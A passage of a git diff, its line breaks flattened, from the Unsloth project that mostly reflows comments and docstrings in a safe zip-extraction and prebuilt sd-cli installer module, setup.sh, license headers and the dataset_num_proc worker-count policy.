# Chains are normal (libwebp.so -> .so.7 -> .so.7.2.0) but must terminate: a cycle installs a library nothing can read, so every load reinstalls it. Walk the graph the tree WILL have, keyed by landing point so alias/a and real/b count as one cycle.by_dest = {str(keys[str(d)]): t for d, t, _ in links}for dest, _, member in links:seen, cur, hops = set(), str(keys[str(dest)]), 0@@ -686,29 +521,22 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:nxt = os.readlink(cur)else:break- # Counted per hop FOLLOWED, not per node seen: the file a chain ends at is not a- # traversal. A chain the kernel cannot walk is unreadable for the same reason a- # cycle is, and terminating does not save it, so it is refused rather than installed.+ # Counted per hop FOLLOWED, not per node seen: the file a chain ends at is not a traversal. A chain the kernel cannot walk is unreadable for the same reason a cycle is, and terminating does not save it, so it is refused rather than installed.hops += 1if hops > _MAX_LINK_DEPTH:raise RuntimeError(f"symlink chain too deep in archive: {member.filename!r}")nxt = Path(os.path.normpath(os.path.join(os.path.dirname(cur), nxt)))- # a -> a/x never reaches a second node, so repetition never fires, yet resolving a walks a again. Anything- # under the link is a loop.+ # a -> a/x never reaches a second node, so repetition never fires, yet resolving a walks a again. Anything under the link is a loop.if Path(cur) in nxt.parents:raise RuntimeError(f"symlink cycle in archive: {member.filename!r}")cur = str(_plan_key(nxt, base, replaced, archive))else:raise RuntimeError(f"symlink cycle in archive: {member.filename!r}")- # Last thing decided before the first write: can this filesystem hold links at all? Some mounts- # (exFAT, SMB without unix extensions) refuse, and learning that at creation time means- # extractall has already put the new binary over the working one.+ # Last thing decided before the first write: can this filesystem hold links at all? Some mounts (exFAT, SMB without unix extensions) refuse, and learning that at creation time means extractall has already put the new binary over the working one.if links:# extractall would create the tree itself, so the probe must not be what needs it first.base.mkdir(parents = True, exist_ok = True)- # A probe a killed install left behind must not answer for this one: symlink_to raises EEXIST on an- # existing path, which reads below as "no symlink support", and a restarted container reuses the- # pid. Sweep stragglers and take a unique name so a concurrent install cannot collide either.+ # A probe a killed install left behind must not answer for this one: symlink_to raises EEXIST on an existing path, which reads below as "no symlink support", and a restarted container reuses the pid. Sweep stragglers and take a unique name so a concurrent install cannot collide either.for stale in base.glob(".unsloth-symlink-probe-*"):try:stale.unlink()@@ -718,20 +546,17 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:try:probe.symlink_to(".")except OSError as exc:- # Windows outside developer mode is the one place flattening is right; see below.if sys.platform != "win32":raise RuntimeError(f"this filesystem cannot store symlinks: {exc}") from excelse:# missing_ok: a concurrent install's sweep may have taken this one already.probe.unlink(missing_ok = True)- # extractall opens each destination "wb".for dest, _ in written:if dest.is_symlink():dest.unlink()zf.extractall(target, members = plain)for dest, link_target, member in links:- # Re-resolved HERE: an earlier member can turn a later member's parent into a link and send this outside base.- # Both ends are checked for containment, not for being link-free.+ # Re-resolved HERE: an earlier member can turn a later member's parent into a link and send this outside base. Both ends are checked for containment, not for being link-free.parent = Path(os.path.realpath(dest.parent))resolved = (dest.parent / link_target).resolve()if (parent != base and base not in parent.parents) or (@@ -746,24 +571,17 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:try:dest.symlink_to(link_target)except OSError as exc:- # Windows outside developer mode cannot create a link and every Windows asset ships plain files, so- # flattening costs nothing there; elsewhere a refusal means the filesystem cannot hold the layout (#9268).+ # Windows outside developer mode cannot create a link and every Windows asset ships plain files, so flattening costs nothing there; elsewhere a refusal means the filesystem cannot hold the layout (#9268).if sys.platform != "win32":raise RuntimeError(f"could not restore the symlink {member.filename!r}: {exc}") from exc- # Load-bearing assumption: no published Windows asset ships a symlink member- # If that ever changes, this branch produces the #9268 install silently while the one above it raises, and- # it should be revisited rather than left as a fallback.+ # Load-bearing assumption: no published Windows asset ships a symlink member. If that ever changes, this branch produces the #9268 install silently while the one above it raises, and it should be revisited rather than left as a fallback.zf.extract(member, target)def _maybe_fetch_windows_cudart(release: dict, chosen: str, target: Path) -> None:- """On Windows + a CUDA build, also fetch the separate CUDA-runtime DLL archive.-- Upstream ships the runtime as ``cudart-sd-...-win-cu12-...zip`` (which- ``resolve_release_asset`` filters out); without those DLLs ``sd-cli.exe`` cannot start- on a machine that does not already have the CUDA runtime installed."""+ """On Windows + a CUDA build, also fetch the separate CUDA-runtime DLL archive. Upstream ships the runtime as ``cudart-sd-...-win-cu12-...zip`` (which ``resolve_release_asset`` filters out); without those DLLs ``sd-cli.exe`` cannot start on a machine that does not already have the CUDA runtime installed."""if platform.system().lower() != "windows" or "cuda" not in chosen.lower():returncudart = next(@@ -796,10 +614,7 @@ def _resolve_repo_asset(*,allow_latest: bool = True,) -> tuple[Optional[dict], Optional[str]]:- """Fetch ``repo``'s release and pick the asset for this host. Returns- ``(release, asset_name)`` or ``(None, None)`` when the repo has no usable release- (fetch failed, or the pinned tag is missing and ``allow_latest`` is False) or no- asset for this host, so the caller can fall back."""+ """Fetch ``repo``'s release and pick the asset for this host. Returns ``(release, asset_name)`` or ``(None, None)`` when the repo has no usable release (fetch failed, or the pinned tag is missing and ``allow_latest`` is False) or no asset for this host, so the caller can fall back."""try:release = _fetch_release(tag, repo = repo, token = token, allow_latest = allow_latest)except Exception as exc: # noqa: BLE001 - network / rate limit -> fall back@@ -820,15 +635,7 @@ def _resolve_repo_asset(def _resolve_with_fallback(accelerator: str, token: Optional[str]) -> tuple[str, Optional[dict], Optional[str]]:- """Resolve ``(used_repo, release, asset_name)`` for this host across the primary repo- and -- only when the built-in default is in use and the user did not pin a repo -- the- upstream fallback.-- Ordering guarantees reproducibility: a pinned tag is tried EXACTLY on every candidate- repo before any repo's unpinned latest, so a mirror that is missing the pinned release- prefers the pinned upstream build over an unpinned mirror-latest. Returns- ``(primary, None, None)`` when nothing serves this host. Shared by ``install`` and- ``--print-asset`` so both honour the same fallback."""+ """Resolve ``(used_repo, release, asset_name)`` for this host across the primary repo and, only when the built-in default is in use and the user did not pin a repo, the upstream fallback. Ordering guarantees reproducibility: a pinned tag is tried EXACTLY on every candidate repo before any repo's unpinned latest, so a mirror missing the pinned release prefers the pinned upstream build over an unpinned mirror-latest. Returns ``(primary, None, None)`` when nothing serves this host. Shared by ``install`` and ``--print-asset`` so both honour the same fallback."""tag = _pinned_tag()primary = _repo()# Only substitute upstream when no UNSLOTH_SD_CPP_REPO is pinned: an explicit repo gets exactly that repo.@@ -865,9 +672,7 @@ def _resolve_with_fallback(file = sys.stderr,flush = True,)- # A mirror-only pin means the shipped default carries fixes upstream has not released. Falling- # back beats no native engine, but the H3 failures are SILENT (it renders, just wrongly), so- # this has to be said out loud rather than left to the generic line above.+ # A mirror-only pin means the shipped default carries fixes upstream has not released. Falling back beats no native engine, but the H3 failures are SILENT (it renders, just wrongly), so this has to be said out loud rather than left to the generic line above.if mirror_only:print(f"warning: {repo} has no {tag}; this build lacks the MiniMax-H3 fixes, "@@ -887,17 +692,9 @@ def install(accelerator: str = "auto",token: Optional[str] = None,) -> Path:- """Download + extract the prebuilt for this host. Returns the sd-cli path.-- Resolves against the Unsloth mirror (``DEFAULT_REPO``) first; if the mirror can't- serve this host (release missing, or a host we don't build) AND the default repo is- in use, falls back to leejet upstream so native install still works. Raises- ``RuntimeError`` only when neither source has an asset for the host, or the archive- has no ``sd-cli``.- """+ """Download and extract the prebuilt for this host, returning the sd-cli path. Resolves against the Unsloth mirror (``DEFAULT_REPO``) first; if the mirror cannot serve this host AND the default repo is in use, falls back to leejet upstream so native install still works. Raises ``RuntimeError`` only when neither source has an asset for the host, or the archive has no ``sd-cli``."""target = install_dir or default_install_dir()- # Claim ownership of `target` only if we created it, it was empty, or it is already marked: adopting a user's- # non-empty dir would let a later uninstall wipe it.+ # Claim ownership of `target` only if we created it, it was empty, or it is already marked: adopting a user's non-empty dir would let a later uninstall wipe it.marker = target / OWNERSHIP_MARKER_may_own = Trueif target.exists():@@ -907,7 +704,6 @@ def install(_pre_existing_entries = any(target.iterdir())except OSError:_pre_existing_entries = True- # Empty dir, or one we already own, may be (re)claimed; a non-empty unowned dir may not._may_own = (not _pre_existing_entries) or marker.is_file()# Refuse to extract into a pre-existing non-empty dir we do not own: merging would overwrite the user's files.if not _may_own:@@ -936,44 +732,26 @@ def install(except OSError:passarchive = target / chosen- # Set the moment the tree stops being purely the OLD bundle. From then on it is a mixture of- # two bundles and every later failure has to be reported as an incomplete replacement, not as- # "this accelerator is unavailable".+ # Set the moment the tree stops being purely the OLD bundle. From then on every later failure has to be reported as an incomplete replacement, not as "this accelerator is unavailable".replacing = Falseprint(f"downloading {chosen} -> {archive}", flush = True)try:_download(url, archive)- # Verify integrity BEFORE extracting + executing._verify_sha256(archive, asset.get("digest"))print("extracting ...", flush = True)with zipfile.ZipFile(archive) as zf:supplied = _archive_binary_paths(zf, target)- # The boundary opens HERE, not at the sweep, whenever an existing bundle is about to gain a SECOND- # copy of a binary: zipfile rewrites members in place, so an interrupted extract leaves the old- # sd-cli truncated, and a different layout is the same problem because the new copy WINS the next- # lookup without having had the sweep, _make_executable, or the cudart DLLs. Treating that as an- # ordinary failure makes ensure_* memoise the half-finished copy for the rest of the process. A- # first install has nothing to compete with, so it stays ordinary.+ # The boundary opens HERE, not at the sweep, whenever an existing bundle is about to gain a SECOND copy of a binary: zipfile rewrites members in place, so an interrupted extract leaves the old sd-cli truncated, and a different layout is the same problem because the new copy WINS the next lookup without having had the sweep, _make_executable, or the cudart DLLs. Treating that as an ordinary failure makes ensure_* memoise the half-finished copy for the rest of the process. A first install has nothing to compete with, so it stays ordinary.replacing = bool(supplied) and _tree_has_binaries(target)_safe_extractall(zf, target)- # Nothing is swept until this bundle is known to have supplied the one binary the install cannot do without, or- # the sweep deletes the working sd-cli kept for exactly this failure.+ # Nothing is swept until this bundle is known to have supplied the one binary the install cannot do without, or the sweep deletes the working sd-cli kept for exactly this failure.cli_name = _binary_names()[0]if not any(p.name == cli_name for p in supplied):raise RuntimeError(f"archive {chosen} contained no sd-cli binary")- # Still before the sweep, so a failure costs nothing extra while the old copies stand; nothing it writes is an- # sd-cli or sd-server, so the sweep cannot take it.- # Windows CUDA builds need the separately-published cudart runtime DLLs, and when the extract above already- # overwrote them ``replacing`` is what makes this report as an incomplete replacement instead of a missing- # accelerator.+ # Still before the sweep, so a failure costs nothing extra while the old copies stand; nothing it writes is an sd-cli or sd-server, so the sweep cannot take it. Windows CUDA builds need the separately-published cudart runtime DLLs, and when the extract above already overwrote them ``replacing`` is what makes this report as an incomplete replacement instead of a missing accelerator._maybe_fetch_windows_cudart(release, chosen, target)if _may_own:- # Set BEFORE the call, not after: the sweep removes copies one at a time, so a failure- # inside it has already changed the tree.- # Extraction merges, so anything the previous bundle put somewhere this one does not write survives and outranks- # the new copy whenever its path sorts higher; drop what this bundle did not supply. LAST, and past it the tree- # is mixed whatever the layout was, so the caller has to retry the sweep rather than memoise the accelerator as- # unavailable.+ # Set BEFORE the call, not after: the sweep removes copies one at a time, so a failure inside it has already changed the tree. Extraction merges, so anything the previous bundle put somewhere this one does not write survives and outranks the new copy whenever its path sorts higher; drop what this bundle did not supply. LAST, and past it the tree is mixed whatever the layout was, so the caller has to retry the sweep rather than memoise the accelerator as unavailable.replacing = True_discard_superseded_binaries(target, supplied)except SupersededBinaryError:@@ -985,8 +763,7 @@ def install(f"the managed tree was left part way through a replacement: {exc}") from excfinally:- # Always drop the archive: a corrupt or partial one must not linger and defeat a later retry.- # Inside the boundary too: an unlink failure after the sweep is still a mixed tree.+ # Always drop the archive: a corrupt or partial one must not linger and defeat a later retry. Inside the boundary too: an unlink failure after the sweep is still a mixed tree.try:archive.unlink(missing_ok = True)except OSError as exc:@@ -1002,8 +779,7 @@ def install(if sys.platform != "win32":_make_executable(sd_cli)print(f"installed sd-cli -> {sd_cli}", flush = True)- # The same archive ships the persistent sd-server; make it runnable so the native backend- # can prefer it.+ # The same archive ships the persistent sd-server; make it runnable so the native backend can prefer it.sd_server = _locate_sd_server(target)if sd_server is not None and sys.platform != "win32":_make_executable(sd_server)@@ -1017,17 +793,14 @@ def install(raise SupersededBinaryError(f"the managed tree was left part way through a replacement: {exc}") from exc- # Written only now, on a complete install: a record naming an accelerator whose binaries never- # finished extracting would suppress the very reinstall that repairs it. Only for a directory we- # own, since an unowned one is the user's build.+ # Written only now, on a complete install: a record naming an accelerator whose binaries never finished extracting would suppress the very reinstall that repairs it. Only for a directory we own, since an unowned one is the user's build.if _may_own:_write_install_record(target,accelerator = accelerator,repo = used_repo,tag = release.get("tag_name"),- # Read off the archive's MEMBER LIST, so "this bundle is serverless" is recorded fact: a leftover server- # from an earlier bundle is indistinguishable on disk.+ # Read off the archive's MEMBER LIST, so "this bundle is serverless" is recorded fact: a leftover server from an earlier bundle is indistinguishable on disk.ships_server = any(p.name == _binary_names()[1] for p in supplied),)# The ownership marker was written before extraction, so a crashed partial install is still recognised as ours.@@ -1046,8 +819,7 @@ def main(argv: Optional[list[str]] = None) -> int:args = p.parse_args(argv)if args.print_asset:- # Same primary/fallback resolution as install(), so a host the mirror skips reports the upstream asset, not a- # false miss.+ # Same primary/fallback resolution as install(), so a host the mirror skips reports the upstream asset, not a false miss._used, _release, chosen = _resolve_with_fallback(args.accelerator, None)print(chosen or "(no matching prebuilt; build from source)")return 0 if chosen else 2diff --git a/studio/setup.sh b/studio/setup.shindex 1636b323e1c..a196dc2ce6a 100755--- a/studio/setup.sh+++ b/studio/setup.sh@@ -12,6 +12,7 @@ RULE=$(printf '\342\224\200%.0s' {1..52})# --local: install from the local repo checkout (overlays unsloth as editable# and unsloth-zoo from git main). Mirrors install.sh --local for the Colab# path that runs setup.sh directly without going through install.sh.+# ── Parse flags ──if [ "$#" -gt 0 ]; thenfor _arg in "$@"; docase "$_arg" in@@ -26,7 +27,6 @@ fi# ── Maintainer-editable defaults ──────────────────────────────────────────# Change these in the GitHub-hosted script so all users get updated defaults.# User environment variables always override these baked-in values.-## _DEFAULT_LLAMA_PR_FORCE : PR number to build by default ("" = normal path)# _DEFAULT_LLAMA_SOURCE : git clone URL for source builds# _DEFAULT_LLAMA_TAG : llama.cpp ref to build ("latest" = newest release,@@ -36,7 +36,6 @@ fi# forces a source build, and causes HTTP 422 errors.# Only use "master" temporarily when the latest release# is missing support for a new model architecture.-## UNSLOTH_LLAMA_CPP_BACKEND : "auto" (default), "cpu", "cuda", "vulkan",# "hip", or "rocm". Concrete values select and persist a# backend across updates; "auto" restores detection.diff --git a/unsloth/__init__.py b/unsloth/__init__.pyindex 5c04c3a3d63..f20543e1790 100644--- a/unsloth/__init__.py+++ b/unsloth/__init__.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/_auto_install.py b/unsloth/_auto_install.pyindex c0c4d432606..8e385687e35 100644--- a/unsloth/_auto_install.py+++ b/unsloth/_auto_install.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.pyindex 217cbfba253..cdb2a698548 100644--- a/unsloth/_compressed_quantize.py+++ b/unsloth/_compressed_quantize.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.pyindex f6f4fcd4cb5..8fd16941e9a 100644--- a/unsloth/_gpu_init.py+++ b/unsloth/_gpu_init.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/_version.py b/unsloth/_version.pyindex c5279684379..1bc5a7712bd 100644--- a/unsloth/_version.py+++ b/unsloth/_version.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -13,7 +10,6 @@# limitations under the License.# The single source of truth for this package's version.-## Keep it a plain literal in a module with no imports. pyproject reads it through# `attr:`, which setuptools resolves by static AST parse, so a build never imports torch;# and the torch-free MLX path in __init__.py imports it directly, which it cannot do fordiff --git a/unsloth/bnb_availability.py b/unsloth/bnb_availability.pyindex 7176aedf2ec..7960e37409e 100644--- a/unsloth/bnb_availability.py+++ b/unsloth/bnb_availability.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.pyindex 58936f9d825..5e63c504d9e 100644--- a/unsloth/chat_templates.py+++ b/unsloth/chat_templates.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/dataprep/__init__.py b/unsloth/dataprep/__init__.pyindex 048f9b80107..2c0ab5c22b4 100644--- a/unsloth/dataprep/__init__.py+++ b/unsloth/dataprep/__init__.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/dataprep/raw_text.py b/unsloth/dataprep/raw_text.pyindex 37f204e9e47..d6d92312b8e 100644--- a/unsloth/dataprep/raw_text.py+++ b/unsloth/dataprep/raw_text.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/dataprep/synthetic.py b/unsloth/dataprep/synthetic.pyindex 0cba47f401e..f6556073644 100644--- a/unsloth/dataprep/synthetic.py+++ b/unsloth/dataprep/synthetic.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/dataprep/synthetic_configs.py b/unsloth/dataprep/synthetic_configs.pyindex 2e536467e28..396a2dca90f 100644--- a/unsloth/dataprep/synthetic_configs.py+++ b/unsloth/dataprep/synthetic_configs.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/dataset_num_proc.py b/unsloth/dataset_num_proc.pyindex 38b4df82a79..1a8c468ac53 100644--- a/unsloth/dataset_num_proc.py+++ b/unsloth/dataset_num_proc.py@@ -1,26 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-"""Fallback copy of the ``dataset_num_proc`` policy for ``Dataset.map()``.--``unsloth_zoo.dataset_num_proc`` is the source of truth, since generated trainer-source must not import back into the package that generated it. Every caller-tries the zoo first, so this copy exists only so that upgrading unsloth alone-still fixes the bug; ``test_the_two_copies_have_not_drifted`` keeps the two in-step, and this file can go once the zoo floor guarantees the module.--It replaces four drifted copies of the heuristic (generated source in-``unsloth/models/rl.py``, plus ``unsloth_zoo.dataset_utils``), two of them wrong-in ways that produced https://github.com/unslothai/unsloth/issues/2693:--1. They asked ``multiprocessing.get_start_method()`` about forking, but- ``Dataset.map`` imports ``Pool`` from ``multiprocess`` (the dill fork), which- keeps its own default context. The two read different settings.--2. They used ``1`` as the "disable multiprocessing" sentinel, but ``datasets``- >= 4.1 (Unsloth pins 4.3.0) pools for any ``num_proc >= 1``, so only ``None``- is in-process on every supported version.-"""+"""Fallback copy of the ``dataset_num_proc`` policy for ``Dataset.map()``. ``unsloth_zoo.dataset_num_proc`` is the source of truth, since generated trainer source must not import back into the package that generated it; every caller tries the zoo first, so this copy exists only so that upgrading unsloth alone still fixes the bug. ``test_the_two_copies_have_not_drifted`` keeps the two in step, and this file can go once the zoo floor guarantees the module. It replaces four drifted copies of the heuristic (generated source in ``unsloth/models/rl.py``, plus ``unsloth_zoo.dataset_utils``), two of them wrong in ways that produced https://github.com/unslothai/unsloth/issues/2693: they asked ``multiprocessing.get_start_method()`` about forking while ``Dataset.map`` imports ``Pool`` from ``multiprocess`` (the dill fork), which keeps its own default context, and they used ``1`` as the "disable multiprocessing" sentinel, but ``datasets`` >= 4.1 (Unsloth pins 4.3.0) pools for any ``num_proc >= 1``, so only ``None`` is in-process on every supported version."""from __future__ import annotations@@ -43,31 +24,21 @@ __all__ = ["resolve_responses_only_num_proc",]-# Escape hatch: a positive integer forces that count verbatim (no cap, no start-method veto),-# "0"/"none" forces in-process tokenization.+# Escape hatch: a positive integer forces that count verbatim (no cap, no start-method veto), "0"/"none" forces in-process tokenization.NUM_PROC_ENV_VAR = "UNSLOTH_DATASET_NUM_PROC"-# Upper bound for the AUTO count only; raise it via NUM_PROC_ENV_VAR. The old-# min(max(cpu_count + 4, 2), 64) forked up to 64 workers, each handed its own dill-pickled-# tokenizer closure and an Arrow shard over a pipe: measured on 8000 rows, more workers were-# slower than none at every size (None 6.3s against 64 workers 21.7s).+# Upper bound for the AUTO count only; raise it via NUM_PROC_ENV_VAR. The old min(max(cpu_count + 4, 2), 64) forked up to 64 workers, each handed its own dill-pickled tokenizer closure and an Arrow shard over a pipe: measured on 8000 rows, more workers were slower than none at every size (None 6.3s against 64 workers 21.7s).AUTO_NUM_PROC_CAP = 8# ~680 MB peak RSS per worker, flat across counts; 1 GB for headroom.WORKER_MEMORY_BUDGET_GB = 1.0-# Share of AVAILABLE RAM tokenization may spend; the rest belongs to the run that follows. This is-# what bounds #2693, where OOM-killed workers surface only as "One of the subprocesses has-# abruptly died during map operation".+# Share of AVAILABLE RAM tokenization may spend; the rest belongs to the run that follows. This is what bounds #2693, where OOM-killed workers surface only as "One of the subprocesses has abruptly died during map operation".MEMORY_BUDGET_FRACTION = 0.5-# Mirrors _MIN_ROWS_FOR_MULTIPROC, a local inside dataset_utils.train_on_responses_only (hence not-# importable): below it that helper maps a split in-process unless handed an explicit count.-# resolve_responses_only_num_proc needs the threshold to keep that guard; a canary in-# tests/test_dataset_num_proc.py catches drift.+# Mirrors _MIN_ROWS_FOR_MULTIPROC, a local inside dataset_utils.train_on_responses_only (hence not importable): below it that helper maps a split in-process unless handed an explicit count. resolve_responses_only_num_proc needs the threshold to keep that guard; a canary in tests/test_dataset_num_proc.py catches drift.ZOO_MIN_ROWS_FOR_MULTIPROC = 5_000-# Warn at most once per process per distinct reason._WARNED: set = set()@@ -84,17 +55,7 @@ def _warn_once(key: str, message: str) -> None:def _unpinned_default_start_method(module) -> Optional[str]:- """The default start method of a module that has not pinned one yet.-- ``get_all_start_methods()[0]`` is the documented default, but ``multiprocess``- copies that function verbatim -- darwin branch listing ``spawn`` first --- without copying the darwin default that goes with it, keeping ``fork`` as its- ``_default_context`` (``#FIXME: spawn`` in its ``context.py``). So its list- says ``spawn`` while its ``Pool`` forks, and ``datasets`` builds from- ``multiprocess``. Read the default context's own name instead; unlike- ``get_context()`` it does not assign ``_actual_context``, keeping the probe- side-effect free. Private attributes, hence the fallback.- """+ """The default start method of a module that has not pinned one yet. ``get_all_start_methods()[0]`` is the documented default, but ``multiprocess`` copies that function verbatim (darwin branch listing ``spawn`` first) without copying the darwin default that goes with it, keeping ``fork`` as its ``_default_context`` (``#FIXME: spawn`` in its ``context.py``), so its list says ``spawn`` while its ``Pool`` forks, and ``datasets`` builds from ``multiprocess``. Read the default context's own name instead; unlike ``get_context()`` it does not assign ``_actual_context``, keeping the probe side-effect free. Private attributes, hence the fallback."""try:methods = module.get_all_start_methods()except Exception:@@ -102,8 +63,7 @@ def _unpinned_default_start_method(module) -> Optional[str]:try:name = module.context._default_context._default_context._name- # Only if the platform actually offers it: a Windows runner answered 'fork' while- # get_all_start_methods() was ['spawn'], which would read Windows as forkable (#3211 / #3397).+ # Only if the platform actually offers it: a Windows runner answered 'fork' while get_all_start_methods() was ['spawn'], which would read Windows as forkable (#3211 / #3397).if isinstance(name, str) and name and (not methods or name in methods):return nameexcept Exception:@@ -112,11 +72,7 @@ def _unpinned_default_start_method(module) -> Optional[str]:def _module_start_method(module_name: str) -> Optional[str]:- """One module's start method. Raises if the module cannot be read at all.-- Observing must not mutate: ``get_start_method(allow_none = False)`` pins- ``_actual_context``, which would make a later ``set_start_method()`` raise.- """+ """One module's start method. Raises if the module cannot be read at all. Observing must not mutate: ``get_start_method(allow_none = False)`` pins ``_actual_context``, which would make a later ``set_start_method()`` raise."""module = __import__(module_name)method = module.get_start_method(allow_none = True)if method is None:@@ -125,36 +81,17 @@ def _module_start_method(module_name: str) -> Optional[str]:def multiprocessing_start_method() -> Optional[str]:- """Return the start method ``datasets`` will actually use, or None.-- ``datasets.arrow_dataset`` does ``from multiprocess import Pool``, so- ``multiprocess`` -- not stdlib ``multiprocessing`` -- decides how- ``Dataset.map(num_proc = ...)`` spawns workers. Falls back to the stdlib- module, then to None (the caller then treats forking as unavailable).- """+ """Return the start method ``datasets`` will actually use, or None. ``datasets.arrow_dataset`` does ``from multiprocess import Pool``, so ``multiprocess``, not stdlib ``multiprocessing``, decides how ``Dataset.map(num_proc = ...)`` spawns workers. Falls back to the stdlib module, then to None (the caller then treats forking as unavailable)."""for module_name in ("multiprocess", "multiprocessing"):try:return _module_start_method(module_name)except Exception:- # Skip rather than let it mask a sized sibling.continuereturn Nonedef _workers_unusable_reason() -> Optional[str]:- """Why ``datasets`` workers cannot be used here, or None when they can.-- * **Not ``fork``.** The child must re-import the dynamically generated- trainer module, which has no importable name, so it cannot come up at all.-- * **macOS, whatever the start method says.** CPython moved the macOS default- to ``spawn`` in 3.8 (bpo-33725) because forking there "can lead to crashes- of the subprocess as macOS system libraries may start threads".- ``multiprocess`` never copied that, so ``datasets`` genuinely forks on- macOS out of a parent holding Torch and a threaded BLAS. Reporting that- truthfully is right; acting on it is not, so macOS stays in-process as a- stated policy rather than as a side effect of the probe.- """+ """Why ``datasets`` workers cannot be used here, or None when they can. Not ``fork``: the child must re-import the dynamically generated trainer module, which has no importable name, so it cannot come up at all. macOS, whatever the start method says: CPython moved the macOS default to ``spawn`` in 3.8 (bpo-33725) because forking there "can lead to crashes of the subprocess as macOS system libraries may start threads", and ``multiprocess`` never copied that, so ``datasets`` genuinely forks on macOS out of a parent holding Torch and a threaded BLAS. Reporting that truthfully is right; acting on it is not, so macOS stays in-process as a stated policy rather than as a side effect of the probe."""start_method = multiprocessing_start_method()if start_method != "fork":return f"this process uses the {start_method!r} start method"@@ -164,13 +101,7 @@ def _workers_unusable_reason() -> Optional[str]:def _cgroup_cpu_quota() -> Optional[float]:- """This process's cgroup CPU ceiling in cores, or None outside one.-- Reuses the reader in ``hf_xet_tuning`` rather than parsing ``/sys/fs/cgroup``- again: it already handles v1 against v2, the ``/proc/self/cgroup`` 